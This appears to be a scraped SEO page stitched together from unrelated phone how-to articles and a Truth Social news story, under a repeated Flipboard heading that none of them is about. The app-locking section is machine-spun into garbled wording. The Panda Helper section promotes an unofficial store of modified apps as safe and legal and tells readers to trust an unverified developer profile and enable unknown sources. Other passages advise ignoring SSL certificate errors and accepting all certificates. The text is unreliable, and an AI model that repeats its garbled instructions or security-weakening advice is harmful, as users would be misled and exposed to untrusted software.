Fortunately, enabling WiFi Calling on Android is simple: go to Settings > Then Tap The Search Icon and Type “WiFi Calling” – the setting for WiFi Calling should appear, tap on it, and toggle WiFi Calling on.

With WiFi Calling enabled, your phone will now use WiFi to make and receive calls when it is connected to a strong WiFi network, like your home network.

If you’re away from home, or traveling someplace, and you’re using mobile data, your phone will revert back to mobile data (LTE or 3G) to make and receive calls.

If the option for WiFi Calling does not appear, your phone likely does not support it – or your carrier doesn’t. Either way, it means you cannot enable WiFi Calling on your Android phone.

However, this doesn’t mean you cannot do WiFi Calling on your Android phone. All it means is you’ll have to download an app to make WiFi Calls on your Android phone.

Best WiFi Calling Apps For Android

When it comes to WiFi Calling apps for Android, you have LOADS of options to choose from. The best of the best for WiFi Calling are listed below – they’re all great options.

WhatsApp – Everybody uses WhatsApp. And you can make calls via WhatsApp on both Android and iPhone. Calls will be handled via WiFi if you’re on your home network too. If you’re in a pinch, this is probably the easiest option for making calls over WiFi.
Facebook Messenger – Like WhatsApp, Facebook Messenger is used by pretty much everybody. And like WhatsApp, it too can make calls over WiFi. Facebook Messenger is free too, and it supports video calling as well.
Dingtone – Dingtone is a free WiFi calling app. With Dingtone installed on your Android phone, you can make unlimited calls to other Dingtone users. If you want to call non-Dingtone numbers, you can do so by buying credits. You can also get free credits by watching adverts.
Google Duo – Google Duo is basically Android’s answer to FaceTime. It works natively on both Android and iOS, something FaceTime does not, and with it installed you can make free video-calls over WiFi. Just download the app, enter your number, and you can start calling other Google Duo users for free.
Signal – Signal is the most secure IM app on the planet. Everything inside Signal, providing your communicating with another Signal user, is 100% encrypted. You can also make free WiFi calls with Signal, as well as video calls. Signal is free to download and is one of the best alternatives to WhatsApp on the market right now.

Wrapping Up

As you can see, making WiFi calls on Android is pretty simple – once you know where to look in Settings. If your Android phone does not support WiFi calling, you can always use a free WiFi calling app – something like TextNow or Signal, for instance.

Obviously, having native WiFi Calling support on your Android phone is best because you can make and receive calls over WiFi direct from your phone’s dialer app.

Still, apps like TextNow, Viber, and WhatsApp are fine for making and receiving calls over WiFi. The only caveat is that the person you’re calling will have to be using the application as well.

Other than that, third-party WiFi Calling apps are almost just as good as native WiFi calling.

Former President Donald Trump’s new social media app, Truth, launched on Monday, but people have to wait in line to access the platform.

Trump railed against social media companies for being biased against Republicans and having been kicked off several social media platforms, the former president launched his own. Marketed as a platform free of censorship, Trump also plans to use the platform as a means of connecting with voters ahead of the 2022 midterms and a potential presidential run in 2024.

After downloading the application from the Apple store, users are brought to a page where they can either sign in or create a new account. Those creating a new account are asked to put in their birth date, as users must be at least 18 years old to access the platform.

Before accessing the platform, users also input their email address and then validate it with a verification email. After verifying their email, users are asked to create a username and password.

Unlike many social media applications, where a person can access content and features immediately after creating an account, the Truth social platform requires a bit more patience. Once successfully creating an account, users are put into a “waitlist” that could be more than a hundred-thousand people long.

“Due to massive demand, we have placed you on our waitlist,” the app tells people. “We love you, and you’re not just another number to us. But your waitlist number is below.”

How to create a flipboard account on android

At about 7:40 a.m. on Monday morning, the wait list had reached 172,668. Some users have reported getting a series of error messages as they tried to create accounts and receiving the verification email could take 15 minutes or more.

As of Monday, Trump’s social media application is only available in the Apple app store, so only people using an iPhone or iPad can create accounts.

Donald Trump’s Truth Social App Launches as Thousands Sign Up for Platform
Donald Trump’s ‘Truth Social’ Revealed—Looks Almost Identical to Twitter
Marjorie Taylor Greene Says Republicans Must Stop ‘Big Tech Censorship’

Devin Nunes, CEO of the Trump Media & Technology Group (TMTG), the parent company of Truth Social, told Fox News on Sunday that the app should be “fully operational” by late March. However, that’s only for users within the United States, and as of Monday, people outside of the United States were not able to access the app.

“It’s actually very moving for me to see people that are on the platform that have had their voice canceled,” Nunes told Fox News.
Nunes said the company wants users to describe what they want on the platform, calling it the “opposite” mentality of “some Silicon Valley tech oligarch freak people.”

To empower screen sticking in Android 10/9, go to Settings > Biometrics and security > Other security settings > Advanced > Pin windows.
To empower screen sticking in Android 8 and 7, go to Settings > Lock screen and security > Other security settings > Pin windows.
You can likewise utilize outsider applications like Samsung Secure Folder, AppLock, and Norton App Lock to lock your Android applications.

How to create a flipboard account on android

This article makes sense of three unique ways how to lock applications on an Android gadget. Directions apply to Android 10, 9 (Pie), 8 (Oreo), and 7 (Nougat).

The most effective method to Lock Apps on Android With Screen Pinning

Screen sticking locks an application in open view. Endeavouring to close it or access the home screen prompts the lock screen security input.

To see which rendition of Android is introduced on your gadget, go to Settings, then, at that point, tap About Phone > Software Information.

For Android 10 and Android 9.0 Pie

Pin an application’s screen to keep it in view until you unfasten it.

Open Settings and select Security or Biometrics and security > Other security settings.
Scroll down to Advanced.
Select the switch close to Pin windows.
Turn on the Screen sticking flip change to empower screen sticking.

To capitalize on screen sticking and visitor accounts, set a protected lock screen pin, secret word, or example ahead of time.

Select Ask for PIN before unfastening to empower it for expanded security.
Select the Overview symbol (the square at the lower part of the screen), then, at that point, tap the application symbol you wish to stick.

On the off chance that your telephone doesn’t have an Overview button, you want to swipe up to find the application you need to stick and tap its symbol at the top.

Select Pin this application.

You might get a Turn on Pin notice. Select OK to proceed.

Press and keep Down and Overview all the while to unfasten the application.

Some Android telephones expect you to press and keep Down and Home to unfasten.

Enter your pin, example, secret word, or biometric security choice to unfasten the screen.
The application is unfastened.

For Android 8.0 Oreo and 7.0 Nougat

If you’re utilizing a more established adaptation of Android, the directions are a piece unique.

On certain telephones running Android 7.0, you overcome stages 1, 2, and 3 utilizing: Settings > Security > Screen sticking.

Open Settings, then, at that point, tap Lock screen and security.
Select Other security settings.
Select Pin windows.

On certain telephones running Android 7.0, you’ll have to go to Settings > Security > Screen sticking.

Select the switch to empower screen sticking.
Select the Use screen lock type to unfasten flip change to empower it.

On certain telephones running 7.0, the choice is called Ask for open example before unfastening.

Select Overview, then, at that point, drift over to the application window you need to lock to the front.
Select the pushpin in the lower-right corner, then, at that point, tap Start.

On certain telephones running 7.0, press GOT IT after squeezing the tack.

Select and hold the Back and Overview symbols to unfasten the window.

On certain telephones running 7.0, you just need to press and hold the Back button to unfasten.

Enter your example, pin, secret key, or output your biometric security choice to unfasten the application.

Lock Apps on Android With the Samsung Secure Folder

With Samsung Secure Folder, you can safeguard chosen applications by locking them with your preferred security choice. On the off chance that your gadget didn’t accompany Secure Folder and it has Android 7 or higher, download it from Google Play or Galaxy applications.

Secure Folder comes pre-introduced on all of Samsung’s lead gadgets, returning to the Galaxy S7 series.

Select Settings, then, at that point, tap Biometrics and security.
Select Secure Folder.
Tap Agree on the sprinkle screen and afterwards sign in to your Samsung account, whenever provoked.
Select Lock type.
Select Pattern, Pin, or Password (or a biometric choice, if accessible), and go on by entering your determination and affirming it.
Select Secure Folder from the application cabinet, then, at that point, tap Add applications.
Select the applications you wish to remember for Secure Folder, then, at that point, tap Add.
Select Lock and exit in the upper-right corner.
A brief message seems it is presently locked to show Secure Folder. Endeavouring to get to Secure Folder prompts the lock type you chose before.
Enter your example, pin, secret phrase, or output your biometric security choice.
The application is unfastened.

Instructions to Lock Apps on Android With Mobile Applications

Go to Google Play and download AppLock or a comparable device to lock your applications and safeguard your records. Most applications that lock or safeguard your gadget’s substance require a couple of consents and framework honours, for example, showing over other applications and availability uses.

Step by step instructions to Set a Password for Apps With Norton App Lock on Android

Norton App Lock by Symantec is a valuable apparatus for safeguarding applications and private records put away on your gadget. Norton App Lock is allowed to download and upholds Android 4.1 and up. You can confine admittance to all applications or pick explicit applications to lock:

Find Norton App Lock on Google Play, then select Install.
Once introduced, select Open.
Review the License Agreement, Terms of Use, and the Privacy Policy, then select Agree and Launch.
When incited for authorization, select OK.
Select the Allow show over other applications’ flip switch.
Tap the back button. Tap Setup.
Select Installed administrations.
Select Norton App Lock Service.
Toggle the Off switch.
Tap Allow.
Tap the Back bolt. You ought to see Norton App Lock Service set to On.
tap Back two times.
Draw an open example or tap Switch to Passcode, then enter a secret phrase.
Draw your open example again to affirm, or tap Reset to return it.
Select Choose Google Account.
Select the Google account you wish to use for secret phrase resetting, then, at that point, select OK.
Select Continue.
Select the yellow lock symbol in the upper-right corner, then select the lock close to the applications you wish to password secure.

Select the yellow lock at whatever point you need to empower or cripple the application lock.

Once applications are locked, just the password you made before will allow access.

Sideloading popular apps onto your BB10 device is fast and easy.

Brian Bennett is a senior writer for the home and outdoor section at CNET. He reviews a wide range of household and smart-home products. These include everything from cordless and robot vacuum cleaners to fire pits, grills and coffee makers. An NYC native, Brian now resides in bucolic Louisville, Kentucky where he rides longboards downhill in his free time.

No matter how slick the new hardware is or how hard BlackBerry strives to convince us that its new BB10 handsets are the cat’s meow, there’s still one massive stumbling block — quality apps. Apparently even the BlackBerry faithful agree and intrepid tweakers have stepped in to fix the situation themselves.

Read on to learn how you can quickly take advantage of free BlackBerry 10 apps that others have kindly ported from Android. Best of all, the entire process takes minutes and loading apps to your Z10 or Q10 just a matter of seconds.

Gather your tools
So here’s what you’ll need to get started: a BlackBerry 10 smartphone, either the Z10 or the Q10, a Windows or Mac computer with Google’s Chrome browser installed, and a Wi-Fi network that both can connect to.

Put your BlackBerry 10 device into Development Mode. Brian Bennett/CNET

Prepare your BlackBerry
The first step is to flip your BlackBerry 10 phone into developer mode. Within the BlackBerry Hub or any home screen grab the pull-down menu from the top of the display. Click Settings, Security and Privacy, then tap Development Mode. From there switch on Development Mode by hitting the software switch next to “Use Development Mode.”

A word of caution here. You will be prompted to choose and enter a Development Mode password before the setting kicks into effect. Make sure to create one that’s easy to remember or write it down somewhere.

PlayBook App Manager to the rescue
Now you’ll want to fire up your computer’s Google Chrome browser and download the main software tool you’ll be using. Head over to the Chrome app store, search for an app called the PlayBook App Manager, then download and install it. This works for Chrome on both Macs and PCs, by the way.

Download the PlayBook App Manager from the Chrome Store. Brian Bennett/CNET

Next grab hold of your BlackBerry 10 phone, in my case I used the BlackBerry Z10, and confirm that both it and your computer are linked to the same Wi-Fi network. After this you’ll have to find out what the IP address of your BlackBerry is. To be clear, this is not to be confused with the Development Mode IP address — trust me, both CNET editor/labs guru Joseph Kaminski and I made this mistake initially.

Record the IP Address of your handset. Brian Bennett/CNET

You’ll find the correct IP address listed under System Settings, About, then within the Network category. Punch this IP address number into the PlayBook App Manager window provided and click Save. If you get a warning about SSL certificate errors, throw caution to the wind and proceed anyway.

You should now see the correct IP address for your device listed under the “Manage your device” heading. Clicking the number will launch a list of all the applications currently installed on your phone.

Find an app you want
From flying people en masse out to BlackBerry Live in Orlando, Fla., to offering a host of cross-platform dev tools, BlackBerry has recently been pulling out all the stops to get developers jazzed about BB10. As a result numerous Web sites have cropped up that offer catalogs of Android apps converted from native APK files to the BAR extension digestible by BlackBerry 10 gadgets.

I discovered two locations, Androidbars.net and BB10bars.net, through the recommendations of BlackBerry devs in the know, and some quick sleuthing on my own. One of my big pet peeves with BB10 is the lack of a good news aggregator such as Flipboard or Google Currents. That’s why I was beside myself with glee when I found the Flipboard BlackBerry port displayed front and center at both sites.

I just downloaded the Flipboard BAR file to a handy PC directory, plus a few more for good measure — namely Netflix and Google Maps. With my virtual bag stuffed with goodies, I was ready to have some real fun.

Dragging and dropping is all it takes. Brian Bennett/CNET

Load up your BlackBerry
I had kept the Chrome browser window open with the PlayBook App Manager, but it’s a good idea to bookmark it right after you secure a successful BlackBerry/PC connection. The next and final significant step is to drag and drop the BAR app file you downloaded into the list of applications the PlayBook App Manager sees.

On the iPhone: Use Driving Focus as a workaround

The iPhone doesn’t allow third-party apps to send text messages on your behalf, so you can’t achieve the same level of automation that you can on Android. There are, however, a few things you can do to make the auto-reply process easier.

The most hands-off solution is the Driving Focus feature. Since you can use it anytime—not just while driving—you can use it with any kind of auto-reply message. Just head to your iPhone’s Settings app, tap on Focus, and look for a Driving option. If you don’t see one, tap the plus button in the upper right and choose Driving from the list that appears. If you’re setting it up for the first time, you’ll have the option to let your iPhone turn Driving Focus on when it detects driving-like motion. Deny it. Once Driving Focus is set up, you can tap Driving from the main Focus menu and choose Manually from the popup menu under Turn on automatically. Then tap Auto-Reply to set your text message to whatever is applicable at that moment (like “I’m in a meeting right now, text you later,” or “I’m asleep, call my wife if it’s urgent”). You can even choose to auto-reply to your favorite contacts or recent contacts only, rather than everyone who calls and texts. Whenever you want to enable this function, toggle on the switch at the top of the main Driving Focus menu.

Since the Focus rebranding, Apple has made this feature a permanent part of the Control Center. Open this handy shortcut menu by swiping down from the top right corner of your screen (up from the bottom if you have a Home button) and tap the Focus button. From there, select Driving to turn that auto-reply feature on and off. You’ll just need to change the message from the Settings regularly, which is kind of a bummer.

If you want something a bit more versatile and a bit less automated, you can also use the iPhone’s text shortcuts in Settings > General > Keyboard > Text Replacement. Just create canned responses for common situations and assign them shortcuts—for example, “I’m in a meeting” could have the easy-to-remember shortcut “.meet” or something similar. Then, when someone texts you, you can just type .meet on your keyboard to automatically send the longer “I’m in a meeting” message. It’s not ideal, but you can create more than one message at a time.

Using these features in tandem is probably the best solution: Create your most common responses with Text Replacement, then re-populate the Do Not Disturb feature with just a few taps whenever you need to.

On Android: Use the SMS Auto Reply app

Android may not have a lot of auto-reply features built in, and it technically doesn’t allow apps to send messages for you, but third-party apps like SMS Auto Reply have found ways to work around the system.

When you first launch the app, tap the Add/Edit button to create a new rule. Give it a name, like “At Work” or “Sleeping,” and write your message in the text box. You can then go to Set Time to set the time, date, or days of the week you want that rule to be active. If you want, you can even put certain contacts on the “Don’t Reply List,” or create a list of personalized messages for certain people (like your spouse). It doesn’t do everything I’d like it to do—it can’t respond to voice calls, and changing profiles based on location would be nice—but it’s pretty powerful, especially compared to what the iPhone offers.

When you’re done, tap Save, and you’ll see your rule presented with a toggle switch next to it. When you first turn it on, you’ll see a prompt to give SMS Auto Reply access to your notifications—it needs the permissions to detect when messages are coming in, and uses the Reply shortcut to send a response. After that, head back to SMS Auto Reply and try turning your rule on again. You’ll then be prompted to remove it from Android’s Battery Optimization—it’ll take you to the correct screen, but you’ll need to tap on Not Optimized at the top, head to All Apps, and select SMS Auto Reply to turn off optimization. Finally, back in the app, you’ll be prompted to allow SMS Auto Reply access to your cellular data, so it can send messages in the background. It’ll take you to the correct screen—just flip the switch next to Unrestricted Data Usage.

Once you’ve done these three things, your auto-reply rule should turn on, and you can test it by asking someone to send you a text message.

You can see how this isn’t necessarily the ideal solution—it’s a little janky to set up, and can’t auto-respond to incoming calls thanks to Android’s permission system—but it’s better than nothing, and calms your friends paranoia by given them an idea of why you aren’t texting them back.

How to create a flipboard account on android

Android has grown over the last decade to become the most popular computing platform on Earth, and it’s an open source project. However, the version of Android you get on most smartphones is bundled with proprietary components, some of which plug into advertising services. It can seem intimidating, but you can gain some semblance of mobile privacy with a few quick tweaks.

A Simpler Approach

If you had unlimited time and some familiarity with the Android platform, you could go to extremes like rooting to disable system components, flashing custom ROMs, or even building your own privacy-focused ROM. For most people, that’s not feasible. Not only are such activities incredibly complex, but they also make your phone less useful.

The fact of the matter is, most Android users want access to the Play Store, Google apps, and high-security apps (e.g. banking) that rely on Google’s TrustZone system. However, you can make some simple but not always obvious changes to Android phones to preserve your privacy.

Ditch Ad-Tracking

One of Google’s motivations in making Android freely available is that it can gather more data about your habits and target ads. You can opt out of this feature rather easily right from your phone. Go to Settings > Google > Ads, and activate the “Opt out of Ads Personalization” toggle.

How to create a flipboard account on android

This turns off the unique advertising ID that Google and Play Store apps use to track you. You will still see ads, but they’ll be generic.

Lock Screen

A new phone will become a treasure trove of personal data very quickly, so you should take a few basic steps to make sure it keeps your data secure. Always make sure you configure a secure lock screen, ideally with a strong password. Android phones with fingerprint sensors won’t force you to type that in every time, but it ensures no one will be able to brute force your phone. You can also turn off lock screen notification snippets to make sure your messages aren’t revealed. Likewise, make sure Smart Lock (automatic phone unlocking based on connected devices, locations, and so on) is disabled unless you are extremely confident in your other security practices.

Browsers and Search

Even shutting off Google’s advertising ID won’t shield you from some of the more nefarious aspects of the modern internet. Cookies can follow you around and help advertisers piece together your internet activity, and the things you search for remain in your Google account unless you take steps to prevent that.

How to create a flipboard account on android

Consider using a privacy-oriented browser like Firefox Focus instead of the stock browser on your device. It blocks trackers and won’t save your browsing history. For search, you can use something like DuckDuckGo. If you prefer Google’s search, you can turn off web history in the “Activity history” settings (see below).

App Permissions

Introduced several years ago, Android’s app permission model lets you block apps from accessing certain system features. When apps open for the first time, many of them will ask for permissions (storage, camera, microphone, location, and so on). You can deny them at that time, but some apps might refuse to start if you deny necessary permissions.

How to create a flipboard account on android

Android also makes permissions accessible in the app settings (under the main system settings). Each app info page includes toggles for all its permissions. So, you can turn off Facebook’s location tracking even if you accidentally allowed it in the past. There are also apps like Bouncer that clear permissions after each app use.

Activity History

Almost everything you do on your Android phone ends up in your Google activity log, which can be handy for troubleshooting. It includes websites you visit, apps you open, and all the voice commands issued to your phone. If that makes you a bit uncomfortable, it’s another easy fix.

How to create a flipboard account on android

This feature is a bit more buried than other Google controls. You’ll find it in Settings > Google > Google Account > Data & personalization. Here, Google provides granular controls for which aspects of your usage show up in the log. The most pertinent to your mobile usage are “Device information,” “Web & app activity,” and “Voice & audio activity.” There are a few more controls here, including another place to turn off Location History.

One of the best ways to preserve your online privacy is to run your traffic through a VPN that you trust, and Android has system-level support for VPNs. A VPN routes all your traffic through an encrypted connection before it hits the open internet. That means the VPN sees all your traffic, so it’s important to go with a reputable company.

Some popular VPN options include NordVPN and PIA, both of which cost a few bucks per month. You should never use a free VPN since they’re probably just selling your data. Install the app of your choice, allow it system access to create a VPN, and you’re all set. VPNs don’t protect you from top to bottom, so don’t neglect the above steps just because you’re using one.

Use the Microsoft OneDrive app in your Android device to work with your personal OneDrive account as well as your OneDrive for work or school accounts. If your device is running Android 4.0 or a newer version, you can use the one app to work with both.

How to create a flipboard account on android

Sign in

To add a personal account, enter your Microsoft account on the sign in page. To add a OneDrive for work or school account, enter the email address you use for your company, school, or other organization.

If you have a problem signing in with your work or school account, try signing in at OneDrive.com or contact your IT department.

To change or reset your OneDrive password, sign in to your account online at account.microsoft.com/security.

You can have both a OneDrive for work or school and OneDrive for home accounts.

Add a OneDrive for work or school account

Tap your picture or the icon at the top of the app , and then tap Add account. Sign in using the username and password you use for OneDrive for work or school.

How to create a flipboard account on android

When your organization uses SharePoint 2013, SharePoint Server 2016, or SharePoint Server 2019, the sign-in process is different from Microsoft 365. On the sign in screen, tap Have a SharePoint Server URL? Then enter the web address of your SharePoint server to continue the sign-in process. The web address, also known as a URL, may look like http://portal.

For you to sign in to OneDrive for work or school, your organization needs to have a qualifying SharePoint in Microsoft 365 or Microsoft 365 business subscription plan, or your organization needs to have its own SharePoint Server deployment.

You cannot sign in with multiple work or school account from the same organization.

Switch between accounts

To switch between a personal OneDrive account and a OneDrive for work or school account, or between multiple OneDrive for work or school accounts, tap your picture or the icon at the top of the app , and then tap the account you want to use.

How to create a flipboard account on android

Tip: You can add only one personal account to the OneDrive app. To open a different personal account, open Settings, tap your account name, tap Sign out, and then sign in with the account you want to use.

Add a passcode

You can add a passcode to help prevent other people who use your device from accidentally accessing, changing, or deleting your files.

In the OneDrive app, tap the Me icon at the bottom of the app, and then open Settings.

Tap Passcode, and then turn on Require code.

Enter a 4-digit code, and then enter it again to verify it.

Sign out of accounts

To sign out of a personal OneDrive account or a OneDrive for work or school account, open the app, tap the Me icon at the bottom of the app, then tap Sign out.

By: Diane Dannenfeldt | Updated: May 4, 2021

Joining a conference call used to mean checking your watch and making sure you were seated at your desk next to a landline phone at the right time. Then you’d have to dial the assigned number and punch in an access code to join the group.

That’s no longer the case. Companies have opened offices worldwide, and sales representatives and project managers may be off-site or traveling more often. Despite differences in location and time zones, groups still need to get together to discuss budgets, sales campaigns and projects.

Wireless communications have expanded to include smartphones, laptop computers and other mobile devices. Today, many participants may join a conference call using a mobile device – and the host may even be on a mobile device. Knowing how to conference call can be an important business skill, both in taking part in and hosting mobile conference calls. Here’s how to join or host a conference call using your mobile device.

To make a three-way call from your iPhone:

Make a call.
Tap Add Call and make another call. The first call will be placed on hold. If you want, you can talk privately on the second line before merging the calls.
Tap Merge Calls. The calls are merged onto one line, and everyone can hear each other.
Repeat steps 2 and 3 to add more callers to the conference. You can merge up to five calls for a phone conference.
To add an incoming call to the conference, tap Hold Call + Answer, and then tap Merge Calls.
To talk privately to one caller during the conference (or to drop them off the call), tap the blue ‘i’ at the top right of the screen. This will show you a list of all the people on the call with buttons that let you end the caller or speak to the caller privately. Tap Private or End as desired.
To end the entire call, tap Hang Up.

To make a three-way call from your Android smartphone:

Dial the first call, and wait for the recipient to pick up. Ask them to wait a minute.
Tap the Add Call button.
Dial the second number.
Touch the Merge or Merge Call button.
Repeat steps 2 and 3 to add more callers to the conference.
If you want to disconnect just one of callers, press the Manage button.
To end the call completely, use the End Call button.

Hosting a Conference Call

If your group is just a few people (less than five or six), you can do it from your mobile phone using the steps above. With a bigger group, you’ll need to turn to a conference call service.

Freeconference.com, freeconferencecall.com and a host of other companies will allow you to set up a conference call line for groups as small as three to as large as 1,000 callers for free. You simply set up an account and log in. Then, following prompts, add all the email addresses of the people who will be in the call, as well as the date and time of the call. The service will send email invites to all the participants along with a special number and PIN for them to use on the call. The call can be recorded for a fee.

These companies also offer free web and video conferencing if you want to take your conference call to the next level.

Joining a Formal Conference Call from a Mobile Phone

Joining a formal conference call from a mobile device is inevitable at some point – whether you’re in a hotel room in Beijing, on a construction site in Dubai or outside your son’s suburban hockey rink. Fortunately, it’s easy to do.

The process of joining many formal business conference calls hasn’t changed much since everyone participated on a landline. You’re given a phone number to call to connect to the specific conference and a PIN to use for security. Specifically, you:

Dial the number at the correct time.
Wait for the prompt after you’re connected.
Enter the PIN you received.
Announce yourself to the group when you’re connected to the conference.

Whether you’re paged or you dial in, take care of a few details before joining the conference so you can participate politely.

Make sure your phone is charged before joining the call. Nothing is more frustrating than suddenly dropping out in the middle of a conference because you’re out of power.
Look at the signal strength bars on your screen. If you only see one or two, try to move to a better location.
Right before the call, turn your mobile device’s ringer switch to off to reduce distractions. This mutes systems sounds and alerts except for the microphone and phone speaker.
If possible, don’t use the speakerphone on your mobile device during conference calls. The sound quality isn’t as good, and straining to hear you may frustrate other participants.
Background noise also can be a problem. If you’re alone, use a headset to keep ambient noise at a minimum.

During the conference call, keep your focus on what’s being said. Most mobile devices will allow you to send text messages, check your calendar, play games or use other applications while you’re on a conference call. Resist the temptation, and you won’t find yourself saying, “I’m sorry . . . what did you say?”

How to create a flipboard account on android

You would think when you do a “factory reset” and agree to erase everything on your Android device that all of your data would be wiped out for good. But you’d be wrong.

As many researchers have discovered, data can be recovered with the right tools even after a factory reset has been performed. That’s because when you delete something, the file itself isn’t actually overwritten — the system just throws away all the info on the file, essentially tossing it in with whatever free space you have. Recoverable data can be a real privacy problem if you ever plan on selling or donate your Android phone.

There are, however, a few ways to ensure your data is really erased forever.

Encrypt your phone

Encrypting your Android device is the strongest way to prevent its data from being recovered. By encrypting your device, you are essentially scrambling all the data and locking it away with a special key. Once encrypted, the data can’t be decrypted without entering a passcode.

Most devices running Android 6.0 Marshmallow are required (except maybe some low-end devices) by Google to have mandatory encryption for maximum security.

If your device is running Android 5.0 Lollipop or lower (and supports encryption), it’s highly recommended you turn on encryption (Settings > Security > Encrypt phone) to scramble its data before doing a factory reset. (The setting location may vary on different devices.)

Essentially, by doing this, you’ll be erasing scrambled data which is virtually unrecoverable.

Overwrite it with throwaway data

So now that you’ve encrypted your data, factory reset it and erased everything, let’s go even further and make sure the new destroyed encrypted data is even more jarbled and worthless by overwriting with new junk data.

Go ahead and set up your device again, but this time don’t sign into any Google accounts or anything. Once your device is set up as new, go ahead and start recording a video for as long as you can, at the highest resolution. Repeat as much as you need to fill up all the space.

Then do another factory reset.

Repeat

If you’re paranoid, you can follow the above tips and perform them several times until you feel confident the data is scrambled enough and overwritten with new throwaway data that even if someone was able to recover the data, they wouldn’t get anything useful. But if you want to keep it simple, a single encrypt-and-reset will do the trick for most.

Have something to add to this story? Share it in the comments.

iOS users are spoilt for choice right now. Not only are there a few jailbreaks in circulation that some users can install, but there are also plenty of third-party app stores available too. One of the top stores is Panda Helper, a great alternative to Cydia without jailbreaking and a fantastic alternative to the official app store. Even better, Android users can also experience this cool app store for themselves and, using an Android emulator you can enjoy it as an alternative to your Mac or Windows desktop app store. Find out how you can do all this and more by reading on.

How to create a flipboard account on android

How to Download Panda Helper:

Panda Helper works on iOS, Android and desktop platforms too. It’s easy to install so choose your platforms and follow the guide:

Method 1: iOS Only

Open the Safari browser on your device and navigate to the official Panda Helper download page https://panda-helper.org/download/
Tap the configuration profile to start the download
Tap Allow on the confirmation message and a new page opens
Tap Install and input your passcode if requested
Tap Install and when Panda Helper is installed it will be on one of your home screens

Fix the Untrusted Developer Error:

Panda Helper is not an official app, which means Apple cannot verify the developer. They will show you the Untrusted Developer error as a way of stopping you from using the app when you open it for the first time. You can verify the developer as safe, so make a note of the name on the error message and close it:

Go into your iOS Settings and tap General > Profiles
Tap the developer name in the list and tap on Trust or Verify
Close Settings

Panda Helper should now work without the error – note you only have to do this on the first time you use the app, not every time.

Method 2: Android Only

Open your Android Settings app and tap Privacy or Security
Find the Unknown Sources option and enable it using the slider beside it
Close Settings and open your browser
Go to the official Panda Helper Android page https://panda-helper.org/apk-download/ and tap the APK file to download it
Open your Downloads and tap the file twice – wait for the installation to complete and you can use Panda Helper

Method 3: PC or Mac

You will need an Android emulator because there is no official desktop support. Nox and BlueStacks are two of the best emulators:

Using the official websites, download BlueStacks or Nox onto your computer
Launch the emulator on your computer and let it set up
In the meantime, download Panda Helper APK and extract the contents
Drag the .apk file into the emulator or right-click it and choose open with
Alternatively, you can just type Panda helper in the emulator search bar
Click the file in the emulator and click Install – Panda Helper will be available via your emulator home screen

How to Use Panda Helper

Open Panda Helper on your device
Click Apps on the main screen and click on an app category
Click on whatever app or game you want to download – you can search for specific ones using the search bar
Click on Install and wait – it will be on your home screen when it’s done (desktop users will find it on the emulator home screen)

iOS users – you may need to fix the untrusted developer error before you can use your apps and games

Panda Helper Features

Panda Helper offers users tons of cool features:

Free – no hidden fees, everything is free to use
No Jailbreak – and Android users don’t need to root their devices either
User-Friendly – easy to use and includes a built-in search bar
Supports Multiple Platforms – iOS, Android and desktop platforms too
Thousands of Apps – lots of unofficial content for free, modified apps and games, tweaks and much more
Safe and Legal – updated regularly and you don’t have to root or jailbreak. SSL encryption keeps your download secure
Alternative to Cydia – although it won’t offer the exact same experience, it does have plenty of unofficial apps and games
24/7 Support – customer service is available all day every day, regardless of where you are in the world
Top Installer – Panda Helper is in the top three of all unofficial installers, offering more content than most and incredibly reliable

There is no doubt in the minds of millions of people that Panda Helper offers a fantastic alternative, not just to Cydia but to the official app store too. Because it works on all major platforms, its customer base is huge and everyone will find something they want to install. No jailbreak or rooting is required and it’s completely free so try it on your device today and enjoy the best alternative to your current app store.

For Mail Basic accounts

In this article, we will show you how to set up your Mail Basic account on your Android smartphone or tablet.

Please Note

The following steps were created using a device with Android 10. The designations of the individual menu items may vary slightly for devices from other manufacturers.

Tap the Settings icon (typically displayed as a gear).

How to create a flipboard account on android

Go to Accounts.

How to create a flipboard account on android

Tap Add Account .

How to create a flipboard account on android

Select Personal (IMAP) .

How to create a flipboard account on android

Enter your email address and tap Next .

How to create a flipboard account on android

Enter the password to your email address and tap Next .

How to create a flipboard account on android

In the Server field, enter imap.ionos.com and tap Next .

How to create a flipboard account on android

In the SMTP Server field, enter smtp.ionos.com and tap Next .

How to create a flipboard account on android

Choose your desired Account Options and tap Next .

How to create a flipboard account on android

If you would like, you can change the default Account Name, which helps you differentiate this account from other email accounts on your device, or Your Name, which is displayed on messages you send. Finally, tap Next to complete the setup process.

How to create a flipboard account on android

Please Note

If you choose to perform a manual setup or would like to use a POP3 account instead, you can find the necessary settings below.

Incoming Email Server

Setting	For IMAP	For POP
Server	imap.ionos.com	pop.ionos.com
Security type	SSL	SSL
Port	993	995

Outgoing Email Server

Setting	Your input
SMTP server	smtp.ionos.com
Security Type	TLS (Accept all certificates)
Port	587
Login Requires Checkbox
Username	The full email address of your IONOS email account.
Password	The password you entered when setting up the IONOS email address.

Your Mail Basic account has been successfully added to your Android device and should be ready to use immediately.

Did this article help you?

Your feedback helps us to further improve our services. To leave feedback, log in to your IONOS account by clicking on the login button at the top right. You can then submit a rating below the article.

Android phones currently rank first in terms of smartphone operating systems and cover more than half the smartphone numbers around the world. Therefore, building apps for the Android phones is a safe bet to make profits.

Although people prefer free apps over paid ones in the Android play market, if your app has the factor that makes it more productive and attractive than other competitors, it will surely sell.

Now the major problem with Android developers is the fact that they are techies and not marketers. To promote the Android app and to find the people to talk about their product is not a piece of cake.

That is why I’m sharing some of the working tips which you can utilize and create a buzz about the latest app developed by you. Always remember, your app should be rock-solid, and best marketing for any product is word of mouth.

How to create a flipboard account on android

Tips for developers to promote Android app

I always recommend app developers to create a landing page for your app. Yes, your app will be in the app store, but it’s always a good idea to have a custom landing page for your app. This will not only help you promote your company but will also help you get more work for Android app development.

Take care of branding and on your page. Add a section for screenshots and videos, which will help other bloggers and users understand your app. Developing such product landing pages on WordPress don’t cost a lot, and you can grab the My App theme from Elegant theme which is perfect for a mobile app landing page.

1) Offer App installs using Facebook ads

How to create a flipboard account on android

The best way to get a lot of installs is using paid mediums such as Facebook ads. Facebook offers to advertise for apps (both Android & iOS), and you can target users based on various factors such as age, location, mobile OS and many more. If you have an email list, you can use that to target your ad to a particular list also. Head over to Create Facebook Ads page & get started.

2) Finish and Optimize your App

But before you submit your Android app to the market, keep in mind that the application has to be fully complete and should have a good interface. Never make the mistake of submitting a partial app. Submitting an incomplete app will lower your user ratings and will blow your plan permanently. Also, it is known that Google Play’s market algorithm will take your app higher if the users rate it well in the initial stages. That’s one of the tricks to improve your download count.

3) Submit to Multiple stores

